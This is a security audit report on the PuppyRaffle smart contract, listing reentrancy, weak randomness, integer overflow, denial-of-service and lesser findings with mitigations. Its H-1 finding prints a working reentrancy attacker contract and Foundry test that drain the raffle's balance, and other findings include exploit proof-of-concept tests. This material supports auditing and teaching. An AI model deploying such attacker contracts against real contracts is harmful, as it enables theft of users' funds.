SMART CONTRACT AUDIT

Security Review Report

Target: PuppyRaffle Smart Contract

TARGET	PuppyRaffle Smart Contract
REPOSITORY	https://github.com/Cyfrin/4-puppy-raffle-audit
PREPARED FOR	Cyfrin / Protocol Team
PREPARED BY	James Lego
DATE	September 08, 2026

Table of contents

Finding ID	Severity	Title
H-1	High	Reentrancy in refund()
H-2	High	Weak Randomness in selectWinner()
H-3	High	Integer Overflow of `PuppyRaffle::totalFees`
M-1	Medium	DoS via Loop over Array
M-2	Medium	Unsafe cast of `PuppyRaffle::fee`
M-3	Medium	Missing Fallback/Receive in Winner Wallet Prevents Next Contest
L-1	Low	Incorrect Index Return
I-1	Informational	solidity pragma should be specific, not wide
I-2	Informational	using an outdated version of solidity is not recommended.
I-3	Informational	Missing checks for address(0) when assigning values to address state variables
I-4	Informational	Does not follow CEI
I-5	Informational	Use of magic Numbers
G-1	Gas	Unchanged state variables declaration
G-2	Gas	State Variables in a loop should be cached

High

HIGH [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI(checks,effects,interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function , we first makes an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not
active");

@>      payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
@>      emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participants.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Place the following into `PuppyRaffleTest.t.sol`:

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract Balance: ",startingAttackContractBalance);
        console.log("starting contract balance: ", startingContractBalance);

        console.log("ending attacker contract balance: ",address(attackerContract).balance);
        console.log("ending contract balance: ",address(puppyRaffle).balance);
    }
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() payable external{
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value:entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal{
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable{
        _stealMoney();
    }

    receive() external payable{
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this , we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
  function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not
active");

+         players[playerIndex] = address(0);

+         emit RaffleRefunded(playerAddress);


        payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);

-         emit RaffleRefunded(playerAddress);

    }
```

HIGH [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This Additionally means user could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof Of Concept:

1. Validators can know ahead of time the `block.timestamp` and the `block.difficulty` and use that to predict when/how to participate.See the (solidity blog on prevrandao). `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a (well-documented attack vector) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF.

HIGH [H-3] Integer Overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615

myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However , if the `totalFees` variable overflows , the `feeAddress` may not collect the correct amount of fees , leaving fees permanently stuck in the contract.

Proof of Concept:

1. we first conclude a raffle of 4 players to collect some fees.
2. we then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be :

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

1. you will now not be able to withdraw , due to this line in `PuppyRaffle::withdrawFees()`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players
active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point , there will be too much `balance` in the contract that the above `require` will be impossible to hit.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. use a newer version of solidity , and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. you could use the `SafeMath` library of Openzeppelin for version 0.7.6 of solidity, however you could still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees()`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players
active!");

        uint256 feesToWithdraw = totalFees;
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

MEDIUM [M-1] Looping throgh players array to check for duplicates in `PuffyRaffle::enterRaffle` is a potential denial of service (DoS) attack , incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` loops through the `players` array to check for duplicates. However, the longer the `PuffyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for player who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
//@audit DoS
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuffyRaffle::entrants` array so big, that no one else enters, guranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such :

- 1st 100 players : ~6503225 gas
- 2nd 100 players : ~18995465 gas

This is more than 3x expensive for the second 100 players.

Place the following test into `PuppyRaffle.t.sol`.

```
    function testDenialOfService() public {

    // for the first 100 players, we will see how much gas it costs to enter the raffle
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        // see how much gas cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length }(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd); //* tx.gasprice;
        console.log("Gas cost for first player to enter raffle: ", gasUsedFirst);

        // for for the 2nd 100 players, we will see how much gas it costs to enter the raffle
        address[] memory players2 = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players2[i] = address(i + 100); // 0,1,2,3.... --> 100,101,102,103...
        }
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length }(players2);
        uint256 gasEnd2 = gasleft();
        uint256 gasUsedSecond = (gasStart2 - gasEnd2); //* tx.gasprice;
        console.log("Gas cost for second player to enter raffle: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few reccomendations:

1. consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times , only the same wallet addresses.
2. consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.
3. Alternatively , you can use [oppenzeppelin's `EnumerableSet` Library] (https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet)

MEDIUM [M-2] Unsafe cast of `PuppyRaffle::fee` loses fee

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint 64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-    uint64 public totalFees = 0;

+    uint256 public totalFees = 0;


    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) %
players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);

+       totalFees = totalFees + fee;
```

MEDIUM [M-3] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

LOW [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to think incorrectly that they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    //@return the index of the player in the array, if they are not active, it returns 0
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think that they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. Users enters the raffle, the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest reccomendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active.

Informational

INFO [I-1] solidity pragma should be specific, not wide

consider using a specific version of Solidity in your contracts instead of wide version.
For example, instead of `pragma solidity ^0.8.0` , use `pragma solidity 0.8.0`

INFO [I-2] using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also reccomend avoiding complex pragma statement.

Version constraint ^0.7.6 contains known severe issues (https://solidity.readthedocs.io/en/latest/bugs.html)

- FullInlinerNonExpressionSplitArgumentEvaluationOrder
- MissingSideEffectsOnSelectorAccess
- AbiReencodingHeadOverflowWithStaticArrayCleanup
- DirtyBytesArrayToStorage
- DataLocationChangeInInternalOverride
- NestedCalldataArrayAbiReencodingSizeValidation
- SignedImmutables
- ABIDecodeTwoDimensionalArrayMemory
- KeccakCaching.

0.7.6 is an outdated solc version. Use a more recent version (at least 0.8.0), if possible.
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

Reccomendation :
Deploy with any of the following Solidity versions: ^0.8.18 or above.

The reccomendations take into account : - Risks releated to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs

Use a Simple pragma version that allows any of these versions. Consider using the latest Version of Solidity for testing.

INFO [I-3] Missing checks for address(0) when assigning values to address state variables

PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/PuppyRaffle.sol#62) lacks a zero-check on : - feeAddress = _feeAddress (src/PuppyRaffle.sol#64)

```
    constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy
Raffle", "PR") {
        entranceFee = _entranceFee;
@>        feeAddress = _feeAddress;
        raffleDuration = _raffleDuration;
        raffleStartTime = block.timestamp;
```

PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#195) lacks a zero-check on : - feeAddress = newFeeAddress (src/PuppyRaffle.sol#196)

```
  function changeFeeAddress(address newFeeAddress) external onlyOwner {
        feeAddress = newFeeAddress;
        emit FeeAddressChanged(newFeeAddress);
    }
```

Reference:

INFO [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best Practice

```
-     (bool success,) = winner.call{value: prizePool}("");

-         require(success, "PuppyRaffle: Failed to send prize pool to winner");

          _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");

+         require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

INFO [I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
-       uint256 prizePool = (totalAmountCollected * 80) / 100;

-       uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use :

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

Gas

GAS [G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `puppyRaffle::raffleDuration` should be `immutable` - `puppyRaffle::commonImageUri` should be `constant` - `puppyRaffle::rareImageuri` should be `constant` - `puppyRaffle::legendaryImageUri` should be `constant`

GAS [G-2] Storage Variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

Several loop conditions uses `array.length` of the storage array. - function `PuppyRaffle::enterRaffle()`

```
+ uint256 playerLength = players.length

-  for (uint256 i = 0; i < players.length - 1; i++) {

+  for (uint256 i =0; i< playerLength -1; i++)

            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

- function `PuppyRaffle::getActivePlayerIndex()`

```
for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

- function `PuppyRaffle::_isActivePlayer()`

```
function _isActivePlayer() internal view returns (bool) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == msg.sender) {
                return true;
            }
        }
        return false;
    }
```